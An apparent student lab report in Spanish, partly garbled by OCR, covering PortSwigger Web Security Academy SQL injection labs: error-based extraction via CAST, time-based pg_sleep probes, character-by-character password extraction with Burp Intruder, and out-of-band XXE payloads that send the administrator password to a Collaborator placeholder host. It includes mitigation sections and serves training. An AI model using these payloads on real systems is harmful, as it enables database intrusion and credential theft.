mediante la funcién casT () :

CAST ( (SELECT password FROM users LIMIT 1) AS int)

Como el valor recuperado es una cadena de texto y no un ndmero, la base de datos
genera un error similar a:

ERROR: invalid input syntax for type integer: "valor filtrado"



Ese mensaje de error expone directamente el contenido de la consulta, permitiendo al
atacante visualizar el valor extraido, en este caso el username o el password.

El uso de:

LIMIT 1

fue necesario para evitar el error relacionado con la devolucién de multiples filas por la
subconsulta.

El comentario:

se utiliza para ignorar el resto de la consulta SQL original.

8. RESULTADO DEL ATAQUE

Al ejecutar el payload final, la aplicacién devolvié un mensaje de error que expuso
directamente la contrasefa del usuario administrator.

La contrasefia obtenida fue:

vdcvv073361iepgj00ptb

Con esta contrasefia se inicid sesién exitosamente como administrator, resolviendo el
laboratorio y confirmando la explotacion exitosa de la vulnerabilidad.

9. EVIDENCIAS

Incluir capturas de pantalla de:



e Figura 1. Solicitud HTTP interceptada en Burp Suite con la cookie Trackingld.
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e Figura 2. Modificacién del valor de la cookie para provocar el error inicial con comilla
simple.
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e Figura 3. Payload con CAST((SELECT username FROM users LIMIT 1) AS int)-- mostrando
el error con el username filtrado.
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e Figura 4. Payload con CAST((SELECT password FROM users LIMIT 1) AS int)-- mostrando
el password filtrado.
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e Figura 5. Inicio de sesidn exitoso con el usuario administrator.
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Home | My account | Log out
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Your username is: administrator

Email

Update email

10. IMPACTO DE LA VULNERABILIDAD

Si esta vulnerabilidad existiera en un sistema real, un atacante podria:

* Obtener credenciales de usuarios almacenadas en la base de datos

¢ Acceder a informacion sensible sin autorizacion

e Comprometer cuentas administrativas

e Escalar privilegios dentro del sistema

e Exponer informacién interna de la base de datos mediante errores detallados



En un entorno real, este tipo de vulnerabilidad puede derivar en el compromiso total del
sistema y de la informacién almacenada.

11. MITIGACION

Para prevenir este tipo de vulnerabilidades se recomienda:

e Utilizar prepared statements y consultas parametrizadas

e Validar y sanitizar las entradas del usuario

e Evitar concatenar directamente datos controlados por el usuario dentro de consultas
sQL

e Utilizar ORM seguros o frameworks con proteccion contra SQL Injection

¢ Deshabilitar mensajes de error detallados en produccién

e Aplicar el principio de minimo privilegio a las cuentas de base de datos

Estas medidas reducen significativamente el riesgo de explotacién de vulnerabilidades de
SQL Injection.

12. CONCLUSION DEL LABORATORIO

Este laboratorio permitié comprender cdmo una vulnerabilidad de SQL Injection basada
en errores visibles puede facilitar directamente la obtencién de informacidn sensible
desde los mensajes de error de la base de datos.

A diferencia de los ataques blind, en este caso la propia respuesta del servidor expone el
contenido filtrado, lo que simplifica considerablemente la explotacién.

El laboratorio demuestra la importancia de validar adecuadamente las entradas del
usuario, utilizar consultas parametrizadas y evitar mostrar mensajes de error detallados
en aplicaciones en produccion.



LABORATORIO 14

Nombre del laboratorio: Blind SQL injection with time delays
Nivel: Practitioner
Tipo de ataque: Blind / Time-based

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es demostrar la existencia de una vulnerabilidad de Blind
SQL Injection (Inyeccion SQL a ciegas) mediante la provocacién de un retraso intencional
en la respuesta del servidor. Se busca confirmar que el servidor procesa comandos SQL
insertados en una cookie de rastreo, logrando una pausa de 10 segundos antes de enviar
la respuesta HTTP.

2. CONTEXTO TECNICO

La aplicacién utiliza una cookie llamada Trackingld para realizar consultas analiticas
en la base de datos. A diferencia de otros laboratorios, aqui el servidor no muestra
errores ni cambia el contenido de la pagina si la consulta falla o es verdadera.

e Parametro vulnerable: Cookie Trackingld.

e Motor de base de datos: PostgreSQL (inferido por la funcién pg_sleep).

e Mecanismo de explotacion: Dado que la consulta se ejecuta de forma sincrona, si
insertamos un comando que "ponga a dormir" la base de datos, el servidor web
esperara a que la base de datos termine antes de responder al usuario.

3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad se detecté mediante pruebas de inferencia temporal. Al no haber
cambios visuales en la respuesta (la pagina siempre carga igual), se utilizaron funciones de
retardo. Si el servidor responde instantdaneamente a una consulta normal pero tarda
exactamente el tiempo solicitado al insertar un comando de pausa, se confirma que el
cadigo inyectado esta siendo ejecutado por el motor de base de datos.



4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web
o Plataforma PortSwigger Web Security Academy

5. PROCEDIMIENTO PASO A PASO

1. Seingresé a la pagina principal del laboratorio.

2. Se utilizé Burp Suite para interceptar la peticién inicial y localizar la cookie
Trackingld en las cabeceras de la solicitud.

3. Se envio la peticion al Repeater para realizar pruebas controladas.

4. Se modifico el valor de la cookie Trackingld, afiadiendo una cadena que cierra la
consulta original y concatena el comando de suspension.

5. Se envid la peticion modificada y se observé el crondmetro de Burp Suite.

6. Elservidor tardé aproximadamente 10,000 ms (10 segundos) en responder,
confirmando el éxito de la inyeccién.

6. PAYLOAD UTILIZADO

TrackingId=sY4BQStIt01jZVUp'||pg sleep(10)--

7. EXPLICACION DEL PAYLOAD

'I'|: El operador || se usa en PostgreSQL para concatenar cadenas. Aqui cerramos la
comilla simple (') de la consulta original y concatenamos nuestra funcién.

pg_sleep (10) : Es una funcion especifica de PostgreSQL que ordena a la base de datos
esperar la cantidad de segundos indicada (en este caso, 10) antes de continuar con la
ejecucion.



--: Comentario de SQL que anula el resto de la consulta original del servidor, evitando
errores de sintaxis que podrian interrumpir el retraso.

8. RESULTADO DEL ATAQUE

Al enviar el payload, la pestaiia del Repeater mostré un estado de "esperando respuesta”
durante exactamente 10 segundos. Una vez transcurrido este tiempo, la pagina cargd
normalmente. Este comportamiento confirmé que la vulnerabilidad existe y es explotable.
El laboratorio fue marcado como Lab Solved.

9. EVIDENCIA:



> Forward | v Drop v~ Request to https://0a3000f3046a437e81F1523600560075.web-security-a

Time Type Direction Method URL
|15:3‘I:235... HTTP = Request GET https://0a3000f3046a437e81f1523600560075.web-security-academy.net/
Request
Pretty Raw Hex w a n =

1 GET / HTTE/L.1

2 Host: 0a3000£304£a437=81f1523600560075. web-security-acadeny.net

3 Cookie: Trackingld=sY4BQStItOljZvip'| ng_sleep(lDJ——l: session=RwP0%9aZGveoPkgvelrK7sgHZE tWGh3x]

4 Cache-Control: max-age=0

5 Sec-Ch-Ua: "Chromium™;w="145", "Not:A-Brand";w="95"

© Sec-Ch-Ua-Mobile: 20

7 Sec-Ch-Ua-Platform: "Windows"

2 Accept-Language: es-ES,es:q=0.9

4 Upgrade-Insecure-Recquests: 1

10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Viné4; x£64) AppleWebKit/537.36 (FHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36

11 Accept:
text/html, application/xhtml+xml  application/xml ;=0.9, image /avif, image /webp, image fapng, */*;q=0.8, application/simed-exchange ;v
=b3;q=0.7

12 Sec-Fetch-5ite: same-origin

13 Sec-Fetch-Mode: navigate

14 Sec-Fetch-User: 21

15 Sec-Fetch-Dest: document

1 Referer: https://0a3000£3046a437=81£1523600560075. web-security-acadeny.net/

17 Acecept-Encoding: gzip, deflate, br

1% Priority: u=0, i

@ {§} € 3 | Search =] 0 highlights
Web Security Blind SQL injection with time delays
Academ Back fo lab description >

Congratulations, you solved the lab! Shareyour skills! % [  Continue leaming >»

Home | My account

WE LIKE TO Q
Refine your search:
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10. IMPACTO DE LA VULNERABILIDAD

o Exfiltracion de datos (Inferencia): Un atacante podria usar condiciones IF junto con
pg_sleep para adivinar contrasefias caracter por caracter (ej. "Si la primera letra es
'A', espera 10 segundos").

e Denegacién de Servicio (DoS): Si un atacante envia multiples peticiones con
retardos muy largos, podria agotar los hilos de conexion del servidor, dejando el
sitio web inoperante para otros usuarios.

11. MITIGACION

e Consultas Parametrizadas: La solucién definitiva para evitar que el motor de base
de datos interprete la entrada del usuario como cédigo ejecutable.

e Sanitizacidon de Cookies: Tratar los datos provenientes de cookies con el mismo
nivel de desconfianza que los pardmetros de URL o formularios.

e Configuracion de Timeouts: Limitar el tiempo maximo que una consulta SQL puede
ejecutarse para mitigar riesgos de DoS.

12. CONCLUSION DEL LABORATORIO

Este ejercicio demuestra que la ausencia de mensajes de error o cambios en el contenido
de la pagina no garantiza que un sistema sea seguro. El tiempo es un canal lateral (side-
channel) extremadamente potente en manos de un atacante para confirmar
vulnerabilidades y extraer informacién de bases de datos aparentemente "mudas".



LABORATORIO 15

Nombre del laboratorio: Inyeccién SQL ciega con retrasos temporales y recuperacion de
informacién

Nivel: Practitioner

Tipo de ataque: Blind SQL Injection (Time-based + Data Extraction)

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de inyeccion SQL ciega basada
en tiempo no solo para provocar retrasos en la respuesta del servidor, sino para extraer
informacidn sensible cardcter por caracter, especificamente la contrasefia del usuario
administrator.

Se demuestra como un atacante puede reconstruir datos completos sin que la aplicacién
muestre errores ni resultados visibles.

2. CONTEXTO TECNICO

La aplicacidn utiliza una cookie llamada Trackingld, cuyo valor es insertado directamente en
una consulta SQL ejecutada de forma sincrénica.
Caracteristicas del entorno:
e No se muestran resultados de la consulta.
e No se muestran errores.
e Larespuesta HTTP es aparentemente igual siempre.
e La unica diferencia observable es el tiempo de respuesta.
El motor de base de datos es PostgreSQL (debido al uso de pg_sleep()), y la tabla relevante
es:
users
Con columnas:
username
password
La vulnerabilidad permite ejecutar consultas condicionales que provocan un retraso cuando
una condicidn logica es verdadera.



3. IDENTIFICACION DE LA VULNERABILIDAD

Se modificd la cookie Trackingld agregando una consulta condicional con pg_sleep(10).
Cuando la condicién fue verdadera (1=1), el servidor tardé aproximadamente 10 segundos
en responder.

Cuando la condicidn fue falsa (1=2), la respuesta fue inmediata.

Esto confirmd que era posible evaluar condiciones booleanas mediante diferencias en el
tiempo de respuesta, demostrando una inyeccién SQL ciega basada en tiempo.

4. HERRAMIENTAS UTILIZADAS

e Burp Suite (Proxy, Repeater, Intruder)
e Navegador web
e Plataforma PortSwigger Web Security Academy
Uso de herramientas:
e Proxy: Interceptar la solicitud con la cookie vulnerable.
e Repeater: Probar manualmente condiciones booleanas y medir tiempos.
e Intruder: Automatizar la extraccion caracter por caracter de la contrasefia.

5. PROCEDIMIENTO PASO A PASO

1. Seinterceptd la peticién que contenia la cookie Trackingld.

2. Se probd un payload base para confirmar la vulnerabilidad:

Trackingld=x";,SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
Se confirmo el retraso de 10 segundos.

3. Se probd una condicidén falsa (1=2) y la respuesta fue inmediata.

4. Se verificé la existencia del usuario administrador:

Trackingld=x";SELECT CASE WHEN (username="administrator') THEN pg_sleep(10) ELSE
pg_sleep(0) END FROM users--

El retraso confirmé que el usuario existia.

5. Se determind la longitud de la contrasena utilizando condiciones como:

Trackingld=x";SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1)
THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Se incrementé el valor hasta encontrar que la contrasena tenia 20 caracteres.

6. Para extraer cada caracter, se utilizo:

SUBSTRING(password,1,1)
7. Se envid la solicitud a Burp Intruder.
8. Se colocaron marcadores de payload alrededor del caracter a probar:



SUBSTRING(password,1,1)="§a§’

9. Se configurd una lista de payloads con caracteres a-z y 0-9.

10. Se configurd el ataque en un solo hilo (Maximum concurrent requests = 1) para
asegurar precision en los tiempos.

11. Se lanzé el ataque y se identificé el caracter correcto observando la respuesta
cercana a 10,000 ms.

12. Se repitid el proceso para cada posicion (offset 1, 2, 3, etc.) hasta completar la
contrasefia.

13. Se inicié sesidn como ‘administrator’ usando la contrasefia obtenida.

14. El laboratorio fue marcado como resuelto.

6. PAYLOAD UTILIZADO

Confirmacion de condicion verdadera:
Trackingld=x";SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
Determinacion de longitud:
Trackingld=x";SELECT CASE WHEN (username="'administrator' AND LENGTH(password)>20)
THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
Extraccion de caracter:
Trackingld=x",SELECT CASE WHEN (username='administrator' AND
SUBSTRING(password,1,1)="a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

7. EXPLICACION DEL PAYLOAD

El ataque se basa en evaluar condiciones booleanas dentro de una estructura CASE WHEN.
Si la condicidn es verdadera = se ejecuta pg_sleep(10) = retraso observable.
Si es falsa = pg_sleep(0) - respuesta inmediata.
Esto permite:

e Confirmar existencia de registros.

e Determinar longitud de datos.

e Extraer informacion caracter por caracter.
Aunque no hay salida visible, el canal lateral de tiempo permite reconstruir
completamente la contrasefia.



8. RESULTADO DEL ATAQUE

Se logro:

e Confirmar la existencia del usuario administrator.

e Determinar que la contrasena tiene 20 caracteres.

e Extraer cada caracter mediante automatizacién con Intruder.
e Iniciar sesién exitosamente como administrador.

El laboratorio fue marcado como Lab Solved.

9. EVIDENCIA:

Contrasefa dentro de la simulacion: 6udi36a8k88ioc9f9eda

004003092 12b82dcS

Web SeCU[’ity Blind SQL injection with time delays and information retrieval

Academy|%|

LAB' Not solved

SHOP ~

fach gifts

Corporate gifts Food & Drink  Gifts

First Improssion Costumes

87797

Request

Q@ w =

Prefty  Raw  Hex

1 GET /filter?category=Gifts HTTF/Z

2 Host: 0azc00400309212pB2dc9cal0D3E0087 . weh-secur ity-acadsmy. net

Cookie: Trackingld=RAqSdLEqKOTReqv' %3BSELECT+CASE+WHEN+ (1=1) +THEN+pg_sleep (10) +ELSE+py_slesp (O) +END-=:

sess10n=04SE1EQBERD LTAMETHPUECEAX VI CTR

Sec-Ch-Ua: "Chromium”:v=r145", "Not:A-Brand;v=nggw

—Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: "Windows"

Accept-Language: £s-419,25;9=0.9

¢ Upgrade-Insscure-Requests: 1

9 User-Agent: Kozilla/5.0 (Windews NT 10.0; Wing4; x£4) AppleVehKit/S37.36 (KHTHL, liks Gecka)
Chroms/145.0.0.0 Safari/s37.36

10 Accept:
text/htnl, application/xhtml+sml, application/xml;q=0.9, image/avif, inage/vebp, image/apng, */ *;q=0.8, applicatio

n/signed-exchangs;v=b3;q=0.7
Sec-Fetch-Site: same—origin

ec—Fetch-Node: navigate

ec—Fetch-User: 71

Sec-Fetch-Dest: document

Referer: hreps://Da2c004003052 12hB2dcScalon3 60097, veb-s=curity-acadeny. net/
16 hccept-Encoding: gzip, deflate, br

17 Priority: u=0, i

Hologram Stand In
$90.51

Response

Prety  Raw  Hex  Render

1 HTTR/2 200 OK
2 Content-Type: text/html; charset=utf-g
5 ¥-Frame-Options: SAMEORIGIN
Content-Lengch: 5481

<IDOCTYPE html>
<ntmi>
<!--LAB_HEAD_START-->
9 <head>
10 <link href=/re
styleshest>
<link href=/resources/css/labsEcommerce.css rel=styleshests
<titler
Blind SQL injsction with time delays and information retrieval
</titler
</head>
<!1--LAB_HEAD_END-->
<body>
<script src="/resources/labheader/js/labHeader.is">
</script>
7 <!--LAB_HEADER_STAR

Labhead Header.css rel=

e85/ academyLat




Request

Pretty  Raw  Hex

GET /filter?category=Gifts HTTP/2 HTTP/Z 200 OK

Pretty  Raw  Hex

Render ®

text/html; charset=utf-8
SAMEORIGIN
5481

<link href=/resources/labheader/css/academylabHeader.css rel=

<link href=/resources/css/labsEcommerce.css rel=styleshest>

1 1

2 Host: 0a2c0040030821 1003 60087 . i . 2 Content-Type:

3 Cookie: TrackingTd=RAqSdLfqRQTReq3v'%3BSELECT+CASE+WHEN+(1=2) +THEN+pg sleep (10) +ELSE+pg_sleep (0] +END——; 5 X-Frame-Options:
s2s31on=04sE1€QB2RDEEhmE THPUEOZLAXRVICTR, 4 Content-Length:

4 Sec-Ch-Ua: "Chromium”;v="145", "Not:i-Brand"; 5

5 Sec—Ch-lUa-Mobile: 70 & <!DOCTYPE html>

& Sec-Ch-Ua-Platform . 7 <ntml>

7 Accept-Language: ss-419,es; & <!--LAB_HEAD_START-->
Upgrade-Tnsecurs-Bequests: 1 @ <head> -
User-Agent: Mozilla/5.0 (VWindows NT 10.0: Win£4: x64) AppleWebKit/537.36 (KHTML, like Gecko) 10
Chrome/145.0.0.0 Safari/s37.36 styleshests>

10 Aecept: 1

2 <title>

text/html, application/xhtml+xml, application/xml; q=0.8, image/avif, imags/webp, image/apng, */*; q=0.8, applicatio 1
n/signed-exchange: .7

Blind SCL injection with time delays and information retrieval

11 Sec-Fetch-Site: same-origin </title>

12 Sec-Fetch-Mode: navigate 13 </head>

13 Sec-Fetch-User: 71 14 <!--LAB_HEAD_END-->
14 Sec-Fetch-Dest: documsnt 15 <body>

15 Referer: https://0aZc0040030921L 100360097, 1 .net/ 16
16 hecept-Encoding: gzip, deflate, br </script>

17 Prierity: u=0, i 17
Request

Pretty Raw Hex

1 GET /filter?category=Gifrs HITF/2
Host: DalcD0400309212b82deScall03 60097, veb-security-acadsmy. net
Cookie: TrackingId=

w

BAqSALEqKQTReq3v' $3BSELECTHCASE4WHEN+ (username='administrator') +THEN+pg_sleep (10) +ELSE+pg_sleep (0) +END+FROM

+users--; session=o04sEI&0BeRDELhmETHPUEOzZhdxhVICTR
Sec-Ch-Ua: "Chromium": 45", "Not:A-Brand";v="g9g9"
Sec-Ch-Ua-Mobils: 70
Sec-Ch-Ua-Flatfor Vindow:
Acoept-Language: =s-419,es;
Upgrade-Tnsecurs-Recquests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x£4] AppleVebKit/537.36 (KHTML, like Gecko)
Chrome/145.0.0.0 Safari/537.36

10 Aecept:

E

text/html, application/xhtml+xml, application/xml: q=0.9, image/avit, image/ webp, image/apng, */ *:q=0.8, applicatio

n/signed-exchange:v=h3:q=0.7
11 Sec-Fetch-Site: sams-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: 71
14 Sec-Fetch-Dest: document
15 Referer: https://0DaZc00400309212b82de9cal003E0097. veh-security-academy. net/
16 hecept-Encoding: gzip, deflate, br
17 Prierity: u=O, i

Request

Pretty Raw Hex

1 GET /filter?category=Gifts HTTE/2
2 Host: 0a2c00400309212b82deScaldD3E0097. veb-security-acadsmy. net
3 Cookie: Trackingld=
PAqSALEQKQTReq3v' %3BSELECT+CASE+WEEN+ (username='administrator' +AND+LENGTH (password) >1S) +THEN+pg_sleep (10) +E
LSE+pg_sleep (0) +END+FROM+users session=o04sEIE0BeRDEEImE THPUEOzZbdxhVICTR
Sec-Ch-Ua: "Chromium”:v="125", "Not:A-Brand";w="gg"
Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Placform: "Windows"
Accept-Language: =s-419,es;q=0.9
Upgrade-Insscure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4: x€4) AppleVWebKit/537.36 (EHTHL, like Gecko)
Chrome/145.0.0.0 Safari/537.3€
10 heespt:
text/heml, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/ apng, */ *;q=0.8, applicatio
n/signed-exchangs;v=b3;q=0.7
11 Sec-Fetch-Site: same—origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: 71
14 Ssc-Fetch-Dest: document
15 Referer: hetps://0a2c004003082 12bB2deScali03s0097. veb-security-acadsmy. net/
16 hecept-Encoding: gzip, deflate, br
17 Priority: u=0, i

S e

w o

18

15

<) 4. Intruder attack of https:/ web. ity-academy.net
Results Positions

¥ capture filter: Capturing all items.
W View filter: Showing only highlighted items

Request Payload 1 ~ Payload 2 Status code Timeout

Response received Error

<!--LAB_HEADER_START

<seript sre="/resources/labheadsr/Js/labHeader.js">

Response

Pretty Raw Hex Render

HTTR/Z 200 OK

1

2 Content-Type: text/html; charsec=utf-g

3 X-Frame-Options: SAMEORIGIN

4 Content-Length: 5481

5

€& <!DOCTYPE html>

7 <html>

8 < !=--LAB_HEAD_START-->

9 <head>

10 <link href=/resources/labheader/css
styleshest>

11 <link href=/resources/css/labsEconm
12 <title>
Elind 5QL injection with time del
</title>
13 </head>
14 < !--LAB_HEAD END-->
15 <hody>

16 <script sre="/resources/labheader/3j
</script>

17 <!--LAE_HEADER_START-->

18 <div id="acadsmyLabHsadsr">

Response

Pretty Raw Hex Render

HTTE/2Z 200 OK

1

2 Content-Type: text/html; charssc=utf-g

3 ¥-Frame-Options: SAMEORIGIN

4 Content-Length: 5481

5

€ <!DOCTYPE html>

7 <html>

8 <!=-LAE_HEAD START-->

9 <head>

10 <link href=/resources/labheader/css,
stylesheet>

<link href=/resources/css/labsEcomme
1z <title>
Blind SQL injection with time del:
<ftitle>
13 </head>
14 <!--LAB_HEAD_END-->
15 <body>

16 <script sre="/resources/labhsadsr/3:
</script>
17 <!--LAE_HEADER_START-->
18 <div id="academyLabHeadsr">
<section class='academylabBanner':
20 <div class=container>

Attack v save v @

@0 apply capture filter

Length Comment



<) 5. Intruder attack of https:/ 8. web. ity-academy.net Attack v Save v

Results  Positions
W Capture filter: Capturing all items. @0 Apply capture fiter
'V View filter: Showing only highlighted items.

Request Payload 1~ Payload 2 Status code Respor Error Timeout Length Comment t

WebSecurity Blind SQL injection with time delays and information retrieval @8] s B

Academy 4] coons

Congratulations, you solved the lab! Share your skills! W [  Continue learning

My Account

Your username is: administrator

10. IMPACTO DE LA VULNERABILIDAD

Esta vulnerabilidad permite:
e Extraccién completa de credenciales
e Acceso no autorizado a cuentas privilegiadas
e Robo de informacidn sensible
e Compromiso total de la base de datos

11. MITIGACION

e Uso obligatorio de consultas parametrizadas

e Prepared statements

e ORM seguros

e Principio de minimo privilegio

e Monitoreo de patrones anémalos en tiempos de respuesta



e Implementacién de WAF con deteccion de patrones de inyeccién

Manejo adecuado de errores

12. CONCLUSION DEL LABORATORIO

e Este laboratorio demuestra como un atacante puede extraer informacion sensible
sin recibir ninguna respuesta visible del sistema, utilizando Unicamente variaciones
en el tiempo de respuesta.

La inyeccion SQL ciega basada en tiempo es una técnica avanzada pero altamente efectiva
cuando no existen controles adecuados. Implementar consultas parametrizadas y limitar la
exposicion de entradas dinamicas es esencial para proteger aplicaciones web contra este
tipo de ataque.



LABORATORIO 16

Nombre del laboratorio: Inyeccion SQL ciega con interaccién fuera de banda
Nivel: Practitioner
Tipo de ataque: Blind SQL Injection (Out-of-Band / OAST)

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es demostrar cémo explotar una inyeccion SQL ciega con
interaccion fuera de banda (Out-of-Band, OAST) utilizando un servidor externo (Burp
Collaborator) para detectar la ejecucion del payload.

A diferencia de los ataques basados en errores o en tiempo, aqui no se obtiene respuesta
visible ni diferencias en el tiempo de respuesta. En su lugar, se provoca que el servidor
realice una interaccion externa (DNS o HTTP) hacia un dominio controlado por el atacante.
Nota: En este entorno no es posible completar el laboratorio debido a que Burp Collaborator
es exclusivo de la version Pro, por lo que el desarrollo se presenta unicamente con fines
tedricos y educativos.

2. CONTEXTO TECNICO

La aplicacién utiliza una cookie llamada Trackingld, cuyo valor es incorporado
directamente dentro de una consulta SQL ejecutada por el servidor.
Caracteristicas del laboratorio:

e No hay mensajes de error visibles.

e No hay diferencias en el contenido de la respuesta.

e No hay diferencias en el tiempo de respuesta.

e La unica forma de detectar la inyeccidon es mediante una interaccién externa.
El payload propuesto combina:

e Inyeccién SQL

e Procesamiento XML

e Resolucion de entidades externas (XXE)

e Interaccion DNS hacia un dominio controlado por el atacante
El objetivo es forzar al servidor de base de datos a realizar una solicitud DNS hacia un
subdominio generado por Burp Collaborator.



3. IDENTIFICACION DE LA VULNERABILIDAD

Se intercepto la peticion HTTP que contenia la cookie Trackingld.

Dado que no habia errores visibles ni retrasos, se procedid a probar una técnica de
interaccion fuera de banda, inyectando una carga util disefiada para provocar una solicitud
DNS externa.

Si el servidor realiza la consulta DNS al dominio del atacante, esto confirma que la inyeccién
SQL fue ejecutada exitosamente.

4. HERRAMIENTAS UTILIZADAS

e Burp Suite (Proxy y Collaborator)
e Navegador web
e Plataforma PortSwigger Web Security Academy
Uso de Burp Suite:
e Proxy: Interceptar y modificar la cookie vulnerable.
e Burp Collaborator: Generar un subdominio Unico y registrar interacciones
DNS/HTTP entrantes.

5. PROCEDIMIENTO PASO A PASO

1. Se accedi6 a la pagina principal del laboratorio.
Se intercepto la peticion HTTP que contenia la cookie Trackingld.

3. Se modifico el valor de la cookie agregando un payload de inyeccién SQL que
incluia una entidad XML externa.

4. Seinserté un subdominio generado por Burp Collaborator.

Se envi¢ la solicitud modificada al servidor.

6. Se verificd en el panel de Burp Collaborator si se recibio una interaccién DNS.

U

6. PAYLOAD UTILIZADO

TrackingId=x'+UNION+SELECT+EXTRACTVALUE (xmltype ('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-
COLLABORATOR-SUBDOMAIN/"> %remote;]>'),"'/1l')+FROM+dual--

Donde BURP-COLLABORATOR-SUBDOMAIN es reemplazado por un subdominio Unico
generado por Burp Collaborator.


http://burp-collaborator-subdomain/
http://burp-collaborator-subdomain/

7. EXPLICACION DEL PAYLOAD

El payload realiza lo siguiente:
e ' > Cierrala cadena original en la consulta SQL.
e UNION SELECT - Permite inyectar una consulta adicional.
e xmltype() y EXTRACTVALUE() = Fuerzan al motor de base de datos a procesar
contenido XML.
e <IENTITY % remote SYSTEM "http://..."> = Define una entidad externa que apunta
a un dominio controlado por el atacante.
e Al procesar la entidad, el servidor intenta resolver la URL, generando una consulta
DNS externa.
e -- - Comenta el resto de la consulta original.
Si el servidor realiza la solicitud DNS, se confirma que el cédigo SQL inyectado fue ejecutado.
Esta técnica se conoce como Out-of-Band SQL Injection, ya que la confirmacién del ataque
ocurre fuera del canal normal de la aplicacién.

8. RESULTADO DEL ATAQUE

En un entorno real con Burp Collaborator habilitado:
e Se recibiria una interaccion DNS en el panel de Collaborator.
e Esto confirmaria que la inyeccion SQL fue ejecutada.

9. EVIDENCIA:

N/A

10. IMPACTO DE LA VULNERABILIDAD

Esta vulnerabilidad permite:
e Confirmar inyecciones SQL invisibles
e Exfiltrar datos mediante consultas DNS
e Bypass de controles tradicionales de monitoreo
e Extraccidn de informacién sensible incluso sin respuesta visible



11. MITIGACION

Medidas recomendadas:
e Uso de consultas parametrizadas (prepared statements)
e Deshabilitar procesamiento innecesario de XML en base de datos
e Restringir acceso saliente del servidor (egress filtering)
e Aplicar principio de minimo privilegio
e Implementar monitoreo de trafico DNS saliente
e Uso de WAF con deteccidn de patrones OAST

12. CONCLUSION DEL LABORATORIO

Este laboratorio demuestra que incluso cuando no existen errores visibles ni diferencias en
el tiempo de respuesta, una aplicacion puede seguir siendo vulnerable a SQL Injection.

Las técnicas fuera de banda permiten confirmar y explotar vulnerabilidades mediante
canales alternativos como DNS o HTTP.

La prevencién adecuada requiere no solo validacién de entradas, sino también control de
comunicaciones salientes y endurecimiento del entorno de base de datos.



LABORATORIO 17

Nombre del laboratorio: Inyeccién SQL ciega con exfiltracion de datos fuera de banda
Nivel: Practitioner
Tipo de ataque: Blind SQL Injection (Out-of-Band Data Exfiltration / OAST)

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una inyeccién SQL ciega con exfiltracidon de datos
fuera de banda, logrando extraer la contraseiia del usuario administrator mediante una
interaccion externa hacia un servidor controlado por el atacante (Burp Collaborator).

A diferencia del laboratorio anterior, aqui no solo se busca confirmar la vulnerabilidad, sino
extraer directamente informacion sensible a través del canal DNS o HTTP.

Nota: En este entorno no es posible completar el laboratorio debido a que Burp Collaborator
es exclusivo de la version Pro, por lo que el desarrollo se presenta tunicamente con fines
tedricos y educativos.

2. CONTEXTO TECNICO

La aplicacion utiliza una cookie llamada Trackingld, cuyo valor es incorporado directamente
dentro de una consulta SQL ejecutada por el servidor.
Caracteristicas del entorno:
e No se muestran errores.
e No hay diferencias visibles en la respuesta.
e La consulta puede ejecutarse de forma asincrona.
e Es posible forzar al servidor a realizar solicitudes externas.
La base de datos contiene la tabla:
users
Con columnas:
username
password
El atague combina:
e Inyeccién SQL
e Procesamiento XML
e Entidades externas (XXE)
e Exfiltracidon de datos mediante DNS/HTTP



3. IDENTIFICACION DE LA VULNERABILIDAD

Se intercepto la peticion HTTP que contenia la cookie Trackingld.

Como no habia errores ni diferencias en tiempo de respuesta, se probd una técnica fuera
de banda (OAST), disefiada para provocar que el servidor realizara una solicitud externa
incluyendo datos sensibles en el subdominio generado dindmicamente.

Si el servidor realiza la solicitud DNS o HTTP hacia el dominio controlado por el atacante,
incluyendo la contrasefia como parte del subdominio, se confirma la vulnerabilidad y la
exfiltracion exitosa.

4. HERRAMIENTAS UTILIZADAS

e Burp Suite Professional (Proxy y Collaborator)
e Navegador web
e Plataforma PortSwigger Web Security Academy
Uso de herramientas:
e Proxy: Interceptar y modificar la cookie vulnerable.
e Collaborator: Generar un subdominio Unico y registrar interacciones entrantes
DNS/HTTP que contienen datos exfiltrados.

5. PROCEDIMIENTO PASO A PASO

1. Se accedié a la pagina principal del laboratorio.

2. Se interceptd la solicitud HTTP que contenia la cookie Trackingld.

3. Se modifico el valor de la cookie agregando un payload de inyeccion SQL que incluia
una entidad XML externa.

4. Se insertdé un subdominio Unico generado por Burp Collaborator.

5. Se envid la solicitud modificada al servidor.

6. Se accedid a la pestaiia Collaborator y se utilizé la opcién “Poll now” para verificar
interacciones.

7. Se revisaron las interacciones DNS y HTTP registradas.

8. Se identificé la contrasefia del usuario administrator dentro del subdominio
solicitado por el servidor.

9. Se inicio sesion como administrador utilizando la contrasefia obtenida.



6. PAYLOAD UTILIZADO

TrackingId=x'+UNION+SELECT+EXTRACTVALUE (xmltype ('<?xml version="1.0"

encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'

| | (SELECT password FROM users WHERE username='administrator')||'.BURP-
COLLABORATOR-SUBDOMAIN/"> %$remote;]1>'),'/1l')+FROM+dual--

7. EXPLICACION DEL PAYLOAD

El payload realiza las siguientes acciones:
e ' Cierrala cadena original de la consulta.
